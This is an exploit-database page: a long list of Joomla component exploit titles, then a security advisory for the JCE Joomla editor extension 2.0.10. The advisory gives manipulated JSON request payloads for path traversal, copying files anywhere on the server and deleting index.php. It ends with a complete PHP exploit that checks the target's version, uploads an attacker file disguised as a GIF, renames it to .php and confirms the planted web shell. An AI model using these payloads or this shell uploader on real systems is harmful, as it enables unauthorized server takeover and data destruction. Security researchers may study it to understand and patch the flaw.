
5 new exploits DirectAdmin 1.50.1 - Denial of Service Joomla! Component 'com_menu' - SQL Injection Joomla! Component com_menu - SQL Injection Joomla! Component 'com_pcchess' - Local File Inclusion Joomla! Component 'com_huruhelpdesk' - SQL Injection Joomla! Component com_pcchess - Local File Inclusion Joomla! Component huruhelpdesk - SQL Injection Joomla! Component 'com_ca' - SQL Injection Joomla! Component com_ca - SQL Injection Joomla! Component 'com_education_classess' - SQL Injection Joomla! Component education - SQL Injection Joomla! Component 'com_Flashgames' - Local File Inclusion Joomla! Component FlashGames 1.5.0 - Local File Inclusion Joomla! Component 'com_cvmaker' - Local File Inclusion Joomla! Component 'com_myfiles' - Local File Inclusion Joomla! Component CV Maker 1.0 - Local File Inclusion Joomla! Component My Files 1.0 - Local File Inclusion Joomla! Component 'com_joommail' - Local File Inclusion Joomla! Component 'com_memory' - Local File Inclusion Joomla! Component JoomMail 1.0 - Local File Inclusion Joomla! Component Memory Book 1.2 - Local File Inclusion Joomla! Component 'com_diary' - Local File Inclusion Joomla! Component Digital Diary 1.5.0 - Local File Inclusion Joomla! Component 'com_jdrugstopics' - SQL Injection Joomla! Component com_jdrugstopics - SQL Injection Joomla! Component 'com_flexicontent' - Local File Joomla! Component FLEXIcontent 1.5 - Local File Inclusion Joomla! Component 'com_delicious' - Local File Inclusion Joomla! Component Delicious Bookmarks 0.0.1 - Local File Inclusion Joomla! Component 'com_manager' 1.5.3 - 'id' Parameter SQL Injection Joomla! Component com_manager 1.5.3 - 'id' Parameter SQL Injection Joomla! Component 'com_pandafminigames' - SQL Injection Joomla! Component com_pandafminigames - SQL Injection Joomla! Component 'com_caddy' - Exploit Joomla! Component com_caddy - Exploit Joomla! Component 'com_jesectionfinder' - Arbitrary File Upload Joomla! Component com_jesectionfinder - Arbitrary File Upload Joomla! Component 'com_camp' - SQL Injection Joomla! Component com_camp - SQL Injection Joomla! Component 'com_crowdsource' - SQL Injection Joomla! Component 'com_event' - Multiple Vulnerabilities Joomla! Component com_crowdsource - SQL Injection Joomla! Component com_event - Multiple Vulnerabilities Joomla! Component 'com_event' - SQL Injection Joomla! Component com_event - SQL Injection Joomla! Component 'com_packages' - SQL Injection Joomla! Component com_packages - SQL Injection Joomla! Component 'com_jepoll' - 'pollid' Parameter SQL Injection Joomla! Component JE Poll - 'pollid' Parameter SQL Injection Joomla! Component 'com_chronoconnectivity' - Blind SQL Injection Joomla! Component 'com_chronocontact' - Blind SQL Injection Joomla! Component ChronoConnectivity - Blind SQL Injection Joomla! Component ChronoForms - Blind SQL Injection Joomla! Component 'com_lead' - SQL Injection Joomla! Component com_lead - SQL Injection Joomla! Component 'com_cinema' - SQL Injection Joomla! Component cinema - SQL Injection Joomla! Component 'com_jstore' - SQL Injection Joomla! Component 'com_jtickets' - SQL Injection Joomla! Component 'com_jcommunity' - SQL Injection Joomla! Component 'com_jmarket' - SQL Injection Joomla! Component 'com_jsubscription' - SQL Injection Joomla! Component com_jstore - SQL Injection Joomla! Component com_jtickets - SQL Injection Joomla! Component com_jcommunity - SQL Injection Joomla! Component com_jmarket - SQL Injection Joomla! Component com_jsubscription - SQL Injection Joomla! Component 'com_jnewsletter' - SQL Injection Joomla! Component com_jnewsletter - SQL Injection Joomla! Component 'com_joomdocs' - Cross-Site Scripting Joomla! Component com_joomdocs - Cross-Site Scripting Joomla! Component 'com_community' - Persistent Cross-Site Scripting Joomla! Component 'com_jomestate' - Remote File Inclusion Joomla! Component com_community - Persistent Cross-Site Scripting Joomla! Component com_jomestate - Remote File Inclusion Joomla! Component 'com_jejob' - Local File Inclusion Joomla! Component com_jejob - Local File Inclusion Joomla! Component 'com_dateconverter' 0.1 - SQL Injection Joomla! Component com_dateconverter 0.1 - SQL Injection Joomla! Component 'com_phocagallery' - SQL Injection Joomla! Component Phoca Gallery 2.7.3 - SQL Injection Joomla! Component 'com_jpodium' - SQL Injection Joomla! Component JPodium 2.7.3 - SQL Injection Joomla! Component 'com_jomtube' - 'user_id' Parameter Blind SQL Injection Joomla! Component com_jomtube - 'user_id' Parameter Blind SQL Injection Joomla! Component 'com_myhome' - Blind SQL Injection Joomla! Component 'com_mysms' - Arbitrary File Upload Joomla! Component MyHome - Blind SQL Injection Joomla! Component MySMS - Arbitrary File Upload Joomla! Component 'com_iproperty' - SQL Injection Joomla! Component com_iproperty - SQL Injection Joomla! Component 'com_itarmory' - SQL Injection Joomla! Component com_itarmory - SQL Injection Joomla! Component 'com_neorecruit' 1.4 - SQL Injection Joomla! Component NeoRecruit 1.4 - SQL Injection Joomla! Component 'com_equipment' - SQL Injection Joomla! Component com_equipment - SQL Injection Joomla! Component 'com_Fabrik' - SQL Injection Joomla! Component 'com_extcalendar' - Blind SQL Injection Joomla! Component Fabrik - SQL Injection Joomla! Component com_extcalendar - Blind SQL Injection Joomla! Component 'com_jejob' - SQL Injection Joomla! Component JE Job - SQL Injection Joomla! Component 'com_jfuploader' < 2.12 - Arbitrary File Upload Joomla! Component com_jfuploader < 2.12 - Arbitrary File Upload Joomla! Component 'com_connect' - Local File Inclusion Joomla! Component 'com_dcnews' - Local File Inclusion Joomla! Component com_connect - Local File Inclusion Joomla! Component com_dcnews - Local File Inclusion Joomla! Component 'com_clan' - SQL Injection Joomla! Component com_clan - SQL Injection Joomla! Component 'com_clanlist' - SQL Injection Joomla! Component com_clanlist - SQL Injection Joomla! Component 'com_markt' - SQL Injection Joomla! Component 'com_img' - Local File Inclusion Joomla! Component com_markt - SQL Injection Joomla! Component com_img - Local File Inclusion Joomla! Component 'com_ccboard' 1.2-RC - Multiple Vulnerabilities Joomla! Component CCBoard 1.2-RC - Multiple Vulnerabilities Joomla! Component 'com_maianmedia' - SQL Injection Joomla! Component com_maianmedia - SQL Injection Joomla! Component 'com_idoblog' - SQL Injection Joomla! Component com_idoblog - SQL Injection Joomla! Component 'com_people' 1.0.0 - SQL Injection Joomla! Component People 1.0.0 - SQL Injection Joomla! Component 'com_people' 1.0.0 - Local File Inclusion Joomla! Component com_people 1.0.0 - Local File Inclusion Joomla! Component 'com_jce' - Blind SQL Injection Joomla! Component joomlacontenteditor - Blind SQL Injection Joomla! Component 'com_hello' - SQL Injection Joomla! Component com_hello - SQL Injection Joomla! Component 'com_jdownloads' 1.0 - Arbitrary File Upload Joomla! Component jDownloads 1.0 - Arbitrary File Upload Joomla! Component 'com_jesubmit' - Local File Inclusion Joomla! Component JE Story Submit - Local File Inclusion Joomla! Component 'com_obSuggest' - Local File Inclusion Joomla! Component obSuggest - Local File Inclusion Joomla! Component 'com_jdirectory' - SQL Injection Joomla! Component com_jdirectory - SQL Injection Joomla! Component 'com_esearch' - SQL Injection Joomla! Component Search 3.0.0 - SQL Injection Joomla! Component 'com_joomtouch' - Local File Inclusion Joomla! Component JoomTouch 1.0.2 - Local File Inclusion Joomla! Component 'com_jce' 2.0.10 - Multiple Vulnerabilities Joomla! Component joomlacontenteditor 2.0.10 - Multiple Vulnerabilities Joomla! Component 'com_horses' - 'id' Parameter SQL Injection Joomla! Component com_horses - 'id' Parameter SQL Injection Joomla! Component 'com_galleryxml' 1.1 - SQL Injection / Local File Inclusion Joomla! Component Gallery XML 1.1 - SQL Injection / Local File Inclusion Joomla! Component 'com_jigsaw' - 'Controller' Parameter Directory Traversal Joomla! Component com_jigsaw - 'Controller' Parameter Directory Traversal Joomla! Component 'com_fireboard' - 'Itemid' Parameter SQL Injection Joomla! Component com_fireboard - 'Itemid' Parameter SQL Injection Joomla! Component 'com_dirfrm' - Multiple SQL Injections Joomla! Component com_dirfrm - Multiple SQL Injections Joomla! Component 'com_catalogue' - SQL Injection / Local File Inclusion Joomla! Component Catalogue - SQL Injection / Local File Inclusion Joomla! Component 'com_jeformcr' - 'id' Parameter SQL Injection Joomla! Component 'com_jesectionfinder' - 'sf_id' Parameter SQL Injection Joomla! Component Jeformcr - 'id' Parameter SQL Injection Joomla! Component JExtensions Property Finder - 'sf_id' Parameter SQL Injection Joomla! Component 'com_mailto' - Multiple Cross-Site Scripting Vulnerabilities Joomla! Component com_mailto - Multiple Cross-Site Scripting Vulnerabilities Joomla! Component 'com_classified' - SQL Injection Joomla! Component Classified - SQL Injection Joomla! Component 'com_frontenduseraccess' - Local File Inclusion Joomla! Component com_frontenduseraccess - Local File Inclusion Joomla! Component 'com_clan_members' - 'id' Parameter SQL Injection Joomla! Component com_clan_members - 'id' Parameter SQL Injection Joomla! Component 'com_phocadownload' - Local File Inclusion Joomla! Component com_phocadownload - Local File Inclusion Joomla! Component 'com_cbcontact' - 'contact_id' Parameter SQL Injection Joomla! Component com_cbcontact - 'contact_id' Parameter SQL Injection Joomla! Component 'com_maplocator' - 'cid' Parameter SQL Injection Joomla! Component Map Locator - 'cid' Parameter SQL Injection Joomla! Component 'com_ccboard' - SQL Injection / Arbitrary File Upload Joomla! Component CCBoard - SQL Injection / Arbitrary File Upload Joomla! Component 'com_morfeoshow' - 'idm' Parameter SQL Injection Joomla! Component com_morfeoshow - 'idm' Parameter SQL Injection Joomla! Component 'com_jr_tfb' - 'Controller' Parameter Local File Inclusion Joomla! Component com_jr_tfb - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_foto' - 'id_categoria' Parameter SQL Injection Joomla! Component 'com_juicy' - 'picId' Parameter SQL Injection Joomla! Component 'com_hospital' - SQL Injection Joomla! Component 'com_controller' - 'Itemid' Parameter SQL Injection Joomla! Component Foto - 'id_categoria' Parameter SQL Injection Joomla! Component Juicy Gallery - 'picId' Parameter SQL Injection Joomla! Component com_hospital - SQL Injection Joomla! Component Controller - 'Itemid' Parameter SQL Injection Joomla! Component 'com_newssearch' - SQL Injection Joomla! Component com_newssearch - SQL Injection Joomla! Component 'com_community' - 'userid' Parameter SQL Injection Joomla! Component com_community - 'userid' Parameter SQL Injection Joomla! Component 'com_biitatemplateshop' - 'groups' Parameter SQL Injection Joomla! Component Biitatemplateshop - 'groups' Parameter SQL Injection Joomla! Component 'com_expedition' - 'id' Parameter SQL Injection Joomla! Component com_expedition - 'id' Parameter SQL Injection Joomla! Component 'com_br' - 'state_id' Parameter SQL Injection Joomla! Component com_br - 'state_id' Parameter SQL Injection Joomla! Component 'com_caproductprices' - 'id' Parameter SQL Injection Joomla! Component com_caproductprices - 'id' Parameter SQL Injection Joomla! Component 'com_br' - 'Controller' Parameter Local File Inclusion Joomla! Component com_br - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_full' - 'id' Parameter SQL Injection Joomla! Component Full - 'id' Parameter SQL Injection Joomla! Component 'com_boss' - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_car' - Multiple SQL Injections Joomla! Component com_boss - 'Controller' Parameter Local File Inclusion Joomla! Component com_car - Multiple SQL Injections Joomla! Component 'com_bulkenquery' - 'Controller' Parameter Local File Inclusion Joomla! Component com_bulkenquery - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_jesubmit' - 'index.php' Arbitrary File Upload Joomla! Component JE Story Submit - 'index.php' Arbitrary File Upload Joomla! Component 'com_motor' - 'cid' Parameter SQL Injection Joomla! Component com_motor - 'cid' Parameter SQL Injection Joomla! Component 'com_firmy' - 'Id' Parameter SQL Injection Joomla! Component 'com_crhotels' - 'catid' Parameter SQL Injection Joomla! Component com_firmy - 'Id' Parameter SQL Injection Joomla! Component com_crhotels - 'catid' Parameter SQL Injection Joomla! Component 'com_cmotour' - 'id' Parameter SQL Injection Joomla! Component com_cmotour - 'id' Parameter SQL Injection Joomla! Component 'com_bnf' - 'seccion_id' Parameter SQL Injection Joomla! Component com_bnf - 'seccion_id' Parameter SQL Injection Joomla! Component 'com_machine' - Multiple SQL Injections Joomla! Component Machine - Multiple SQL Injections Joomla! Component 'com_joomsport' - SQL Injection / Arbitrary File Upload Joomla! Component Joomsport - SQL Injection / Arbitrary File Upload Joomla! Component 'com_dv' - 'upload.php' Arbitrary File Upload Joomla! Component DentroVideo 1.2 - 'upload.php' Arbitrary File Upload Joomla! Component 'com_hwdvideoshare' - 'flash_upload.php' Arbitrary File Upload Joomla! Component hwdVideoShare - 'flash_upload.php' Arbitrary File Upload Joomla! Component 'com_maianmedia' - 'uploadhandler.php' Arbitrary File Upload Joomla! Component 'com_jcalpro' - SQL Injection Joomla! Component Maian Media - 'uploadhandler.php' Arbitrary File Upload Joomla! Component JCal Pro Calendar - SQL Injection Joomla! Component 'com_hello' - 'Controller' Parameter Local File Inclusion Joomla! Component com_hello - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_odudeprofile' - 'profession' Parameter SQL Injection Joomla! Component Odudeprofile 2.8 - 'profession' Parameter SQL Injection Joomla! Component 'com_civicrm' - Multiple Arbitrary File Upload Vulnerabilities Joomla! Component CiviCRM - Multiple Arbitrary File Upload Vulnerabilities Joomla! Component 'com_parcoauto' - 'idVeicolo' Parameter SQL Injection Joomla! Component Parcoauto - 'idVeicolo' Parameter SQL Injection Joomla! Component 'com_jvideoclip' - 'uid' Parameter SQL Injection Joomla! Component JVideoClip 1.5.1 - 'uid' Parameter SQL Injection Joomla! Component 'com_maian15' - 'name' Parameter Arbitrary File Upload Joomla! Component Maian15 - 'name' Parameter Arbitrary File Upload Joomla! Component 'com_inneradmission' - 'index.php' SQL Injection Joomla! Component Inneradmission - 'index.php' SQL Injection Joomla! Component 'com_easy_youtube_gallery' 1.0.2 - SQL Injection Joomla! Component Easy Youtube Gallery 1.0.2 - SQL Injection Joomla! Component 'com_payplans' 3.3.6 - SQL Injection Joomla! Component com_payplans 3.3.6 - SQL Injection Joomla! Component 'com_enmasse' 5.1 < 6.4 - SQL Injection Joomla! Component com_enmasse 5.1 < 6.4 - SQL Injection Joomla! Component 'com_bt_media' - SQL Injection Joomla! Component com_bt_media 1.0 - SQL Injection Joomla! Component 'com_guru' - SQL Injection Joomla! Component Guru Pro - SQL Injection DirectAdmin 1.50.1 - Denial of Service Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting My Link Trader 1.1 - Authentication Bypass My Php Dating 2.0 - 'path' Parameter SQL Injection My Php Dating 2.0 - 'id' Parameter SQL Injection
367 lines
12 KiB
Text
Executable file
367 lines
12 KiB
Text
Executable file
########################## www.BugReport.ir
|
|
#######################################
|
|
#
|
|
# AmnPardaz Security Research Team
|
|
#
|
|
# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
|
|
# Vendor: www.joomlacontenteditor.net
|
|
# Exploit: Available
|
|
# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager
|
|
1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions
|
|
also may be affected)
|
|
# Impact: High
|
|
# Original Advisory: http://www.bugreport.ir/index_78.htm
|
|
# Fix: N/A
|
|
###################################################################################
|
|
|
|
####################
|
|
1. Description:
|
|
####################
|
|
|
|
JCE is an extension for Joomla!, that provides you with a set of
|
|
wysiwyg editor tools that makes the job of writing articles for your
|
|
Joomla! site a little bit easier.
|
|
In a nutshell, it provides access to many of the features you may
|
|
be used to using in Word or OpenOffice etc.
|
|
|
|
####################
|
|
2. Vulnerabilities:
|
|
####################
|
|
|
|
2.1. Path Traversal Flaws. Path Traversal in "Image Manager",
|
|
"Media Manager", "Template Manager" and "File Manager" section.
|
|
2.1.1. Exploit:
|
|
Check the exploit/POC section.
|
|
|
|
2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
|
|
"Media Manager", "Template Manager", "File Manager" section. Attackers
|
|
can delete any file or upload files to all the directories of the server.
|
|
2.2.1. Exploit:
|
|
Check the exploit/POC section.
|
|
|
|
2.3. Unsafe function Flaws. Attackers can use unsafe function
|
|
called "folderRename" for changing Image type extension (.jpg, .gif,
|
|
.png & etc.) to any extension like .htaccess or .php in "Image Manager",
|
|
"Media Manager", "Template Manager" and "File Manager" section.
|
|
2.3.1. Exploit:
|
|
Check the exploit/POC section.
|
|
|
|
####################
|
|
3. Exploits/PoCs:
|
|
####################
|
|
|
|
Original Exploit URL: http://www.bugreport.ir/78/exploit.htm
|
|
|
|
3.1. Path Traversal Flaws. Path Traversal in "Image Manager",
|
|
"Media Manager", "Template Manager" and "File Manager" section.
|
|
-------------
|
|
Path Traversal and see all directories:
|
|
Step 1 +--> Click on root (left bar)
|
|
Step 2 +--> Use Proxy (like burp) for changing path:
|
|
|
|
json={"fn":"getItems","args":["/","all",0,""]}
|
|
to
|
|
json={"fn":"getItems","args":["../../","all",0,""]}
|
|
|
|
-------------
|
|
|
|
3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
|
|
"Media Manager", "Template Manager", "File Manager" section. Attackers
|
|
can delete any file or upload files to all the directories of the server.
|
|
-------------
|
|
For uploading file:
|
|
Step 1 +--> Upload a file with image type extension like azizi.jpg
|
|
Step 2 +--> Click on root (left bar)
|
|
Step 3 +--> Use Proxy (like burp) and change "json" parameter
|
|
to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}
|
|
|
|
Now azizi.jpg copied to root directory.
|
|
|
|
|
|
For deleting file:
|
|
Step 1 +--> Click on root (left bar)
|
|
Step 2 +--> Use Proxy (like burp) and change "json" parameter
|
|
to json={"fn":"fileDelete","args":"../../index.php"}
|
|
|
|
Now index.php has been deleted.
|
|
-------------
|
|
|
|
3.3. Unsafe function Flaws. Attackers can use unsafe function for
|
|
changing Image type extension (.jpg, .gif, .png & etc.) to any extension
|
|
like .htaccess or .php in "Image Manager", "Media Manager", "Template
|
|
Manager" and "File Manager" section.
|
|
-------------
|
|
For uploading file with executable extension:
|
|
Step 1 +--> Upload a file with image type extension like azizi.jpg
|
|
Step 2 +--> Click on root (left bar)
|
|
Step 3 +--> Use Proxy (like burp) and change "json" p
|
|
|
|
<?php
|
|
######################################### www.bugreport.ir
|
|
########################################
|
|
#
|
|
# AmnPardaz Security Research & Penetration Testing Group
|
|
#
|
|
#
|
|
# Title: Exploit for JCE Joomla Extension (Auto Shell
|
|
Uploader) V0.1 - PHP Version
|
|
# Vendor: http://www.joomlacontenteditor.net
|
|
# Vulnerable Version: JCE 2.0.10 (prior versions also may be affected)
|
|
# Exploitation: Remote with browser
|
|
# Original Advisory: http://www.bugreport.ir/index_78.htm
|
|
# Vendor supplied patch:
|
|
http://www.joomlacontenteditor.net/news/item/jce-2011-released
|
|
# CVSS2 Base Score: (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5
|
|
# Coded By: Mostafa Azizi
|
|
###################################################################################################
|
|
|
|
error_reporting(0);
|
|
ini_set("max_execution_time",0);
|
|
ini_set("default_socket_timeout", 2);
|
|
ob_implicit_flush (1);
|
|
|
|
echo'<html>
|
|
<head>
|
|
<title>JCE Joomla Extension Remote File Upload</title>
|
|
</head>
|
|
|
|
<body bgcolor="#00000">
|
|
|
|
<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension
|
|
Remote File Upload</font></p>
|
|
</font>
|
|
<table width="90%">
|
|
<tbody>
|
|
<tr>
|
|
<td width="43%" align="left">
|
|
<form name="form1" action="'.$SERVER[PHP_SELF].'"
|
|
enctype="multipart/form-data" method="post">
|
|
<p></font><font color="#00ff00" > hostname
|
|
(ex:www.sitename.com): </font><input name="host" size="20"> <span
|
|
class="Stile5"><font color="#FF0000">*</span></p>
|
|
<p></font><font color="#00ff00" > path (ex: /joomla/ or
|
|
just / ): </font><input name="path" size="20"> <span
|
|
class="Stile5"><font color="#FF0000">*</span></p>
|
|
<p></font><font color="#00ff00" >Please specify a file to upload:
|
|
</font><input type="file" name="datafile" size="40"><font
|
|
color="#FF0000"> * </font>
|
|
<p><font color="#00ff00" > specify a port (default is 80):
|
|
</font><input name="port" size="20"><span
|
|
class="Stile5"></span></p>
|
|
<p><font color="#00ff00" > Proxy (ip:port):
|
|
</font><input name="proxy" size="20"><span
|
|
class="Stile5"></span></p>
|
|
<p align="center"> <span class="Stile5"><font
|
|
color="#FF0000">* </font><font color="white" >fields are
|
|
required</font></font></span></p>
|
|
<p><input type="submit" value="Start" name="Submit"></p>
|
|
</form>
|
|
</td>
|
|
</tr>
|
|
</tbody>
|
|
</table>
|
|
</body></html>';
|
|
|
|
function sendpacket($packet,$response = 0,$output = 0,$s=0)
|
|
{
|
|
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
|
|
global $proxy, $host, $port, $html, $user, $pass;
|
|
if ($proxy == '')
|
|
{
|
|
$ock = fsockopen($host,$port);
|
|
stream_set_timeout($ock, 5);
|
|
if (!$ock)
|
|
{
|
|
echo '<font color=white> No response from '.htmlentities($host).'
|
|
...<br></font>';
|
|
die;
|
|
}
|
|
} else
|
|
{
|
|
$parts = explode(':',$proxy);
|
|
echo '<font color=white>Connecting to proxy:
|
|
'.$parts[0].':'.$parts[1].' ...<br><br/></font>';
|
|
$ock = fsockopen($parts[0],$parts[1]);
|
|
stream_set_timeout($ock, 5);
|
|
if (!$ock)
|
|
{
|
|
echo '<font color=white>No response from proxy...<br></font>';
|
|
die;
|
|
}
|
|
}
|
|
|
|
fputs($ock,$packet);
|
|
if ($response == 1)
|
|
{
|
|
if ($proxy == '')
|
|
{
|
|
$html = '';
|
|
while (!feof($ock))
|
|
{
|
|
$html .= fgets($ock);
|
|
}
|
|
} else
|
|
{
|
|
$html = '';
|
|
while ((!feof($ock)) or
|
|
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
|
|
{
|
|
$html .= fread($ock,1);
|
|
}
|
|
}
|
|
} else $html = '';
|
|
|
|
fclose($ock);
|
|
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
|
|
if ($s==1){
|
|
$count=0;
|
|
$res=nl2br(htmlentities($html));
|
|
$str =
|
|
array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');
|
|
foreach ($str as $value){
|
|
$pos = strpos($res, $value);
|
|
if ($pos === false) {
|
|
$count=$count++;
|
|
} else {
|
|
echo "<font color=white>Target patched.<br/><br/></font>";
|
|
die();
|
|
}
|
|
}
|
|
if ($count=10) echo '<font color=white>Target is
|
|
exploitable.<br/><br/></font>';
|
|
}
|
|
}
|
|
|
|
$host = $_POST['host'];
|
|
$path = $_POST['path'];
|
|
$port = $_POST['port'];
|
|
$proxy = $_POST['proxy'];
|
|
|
|
if (isset($_POST['Submit']) && $host != '' && $path != '')
|
|
{
|
|
|
|
$port=intval(trim($port));
|
|
if ($port=='') {$port=80;}
|
|
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font
|
|
color=white>Error... check the path!</font>');}
|
|
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
|
|
$host=str_replace("\r\n","",$host);
|
|
$path=str_replace("\r\n","",$path);
|
|
|
|
|
|
/* Packet 1 --> Checking Exploitability */
|
|
$packet = "GET
|
|
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
|
|
HTTP/1.1\r\n";
|
|
$packet .= "Host: ".$host."\r\n";
|
|
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
|
|
|
|
sendpacket($packet,1,0,1);
|
|
|
|
/* Packet 2 --> Uploading shell as a gif file */
|
|
|
|
$content = "GIF89a1\n";
|
|
$content .= file_get_contents($_FILES['datafile']['tmp_name']);
|
|
$data = "-----------------------------41184676334\r\n";
|
|
$data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
|
|
$data .= "/\r\n";
|
|
$data .= "-----------------------------41184676334\r\n";
|
|
$data .= "Content-Disposition: form-data; name=\"Filedata\";
|
|
filename=\"\"\r\n";
|
|
$data .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
|
|
$data .= "-----------------------------41184676334\r\n";
|
|
$data .= "Content-Disposition: form-data;
|
|
name=\"upload-overwrite\"\r\n\r\n";
|
|
$data .= "0\r\n";
|
|
$data .= "-----------------------------41184676334\r\n";
|
|
$data .= "Content-Disposition: form-data; name=\"Filedata\";
|
|
filename=\"0day.gif\"\r\n";
|
|
$data .= "Content-Type: image/gif\r\n\r\n";
|
|
$data .= "$content\r\n";
|
|
$data .= "-----------------------------41184676334\r\n";
|
|
$data .= "0day\r\n";
|
|
$data .= "-----------------------------41184676334\r\n";
|
|
$data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
|
|
$data .= "upload\r\n";
|
|
$data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
|
|
$packet = "POST
|
|
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743
|
|
HTTP/1.1\r\n";
|
|
$packet .= "Host: ".$host."\r\n";
|
|
$packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
|
|
$packet .= "Content-Type: multipart/form-data;
|
|
boundary=---------------------------41184676334\r\n";
|
|
$packet .= "Accept-Language: en-us,en;q=0.5\r\n";
|
|
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
|
|
$packet .= "Cookie:
|
|
6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743;
|
|
jce_imgmanager_dir=%2F;
|
|
__utma=216871948.2116932307.1317632284.1317632284.1317632284.1;
|
|
__utmb=216871948.1.10.1317632284; __utmc=216871948;
|
|
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
|
|
$packet .= "Connection: Close\r\n";
|
|
$packet .= "Proxy-Connection: close\r\n";
|
|
$packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
|
|
$packet .= $data;
|
|
|
|
sendpacket($packet,0,0,0);
|
|
|
|
/* Packet 3 --> Change Extension from .gif to .php */
|
|
|
|
|
|
$packet = "POST
|
|
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
|
|
HTTP/1.1\r\n";
|
|
$packet .= "Host: ".$host."\r\n";
|
|
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
|
|
$packet .= "Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
|
|
$packet .= "Accept-Language: en-US,en;q=0.8\r\n";
|
|
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
|
|
$packet .= "Content-Type: application/x-www-form-urlencoded;
|
|
charset=utf-8\r\n";
|
|
$packet .= "Accept-Encoding: deflate\n";
|
|
$packet .= "X-Request: JSON\r\n";
|
|
$packet .= "Cookie:
|
|
__utma=216871948.2116932307.1317632284.1317639575.1317734968.3;
|
|
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
|
|
__utmb=216871948.20.10.1317734968; __utmc=216871948;
|
|
jce_imgmanager_dir=%2F;
|
|
6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
|
|
$ren
|
|
="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
|
|
$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
|
|
$packet .= $ren."\r\n\r\n";
|
|
|
|
sendpacket($packet,1,0,0);
|
|
|
|
/* Packet 4 --> Check for successfully uploaded */
|
|
|
|
|
|
$packet = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
|
|
$packet .= "Host: ".$host."\r\n";
|
|
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
|
|
|
|
sendpacket($packet,1,0,0);
|
|
|
|
if(stristr($html , '200 OK') != true)
|
|
{echo "<font color=white>Exploit Faild...</font>";} else echo
|
|
"<font color=white>Exploit
|
|
Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";
|
|
}
|
|
?>
|
|
|
|
####################
|
|
4. Solution:
|
|
####################
|
|
|
|
Restricting and granting only trusted users having access to
|
|
resources and wait for vender patch.
|
|
|
|
####################
|
|
5. Credit:
|
|
####################
|
|
AmnPardaz Security Research & Penetration Testing Group
|
|
Contact: admin[4t}bugreport{d0t]ir
|
|
www.BugReport.ir
|
|
www.AmnPardaz.com
|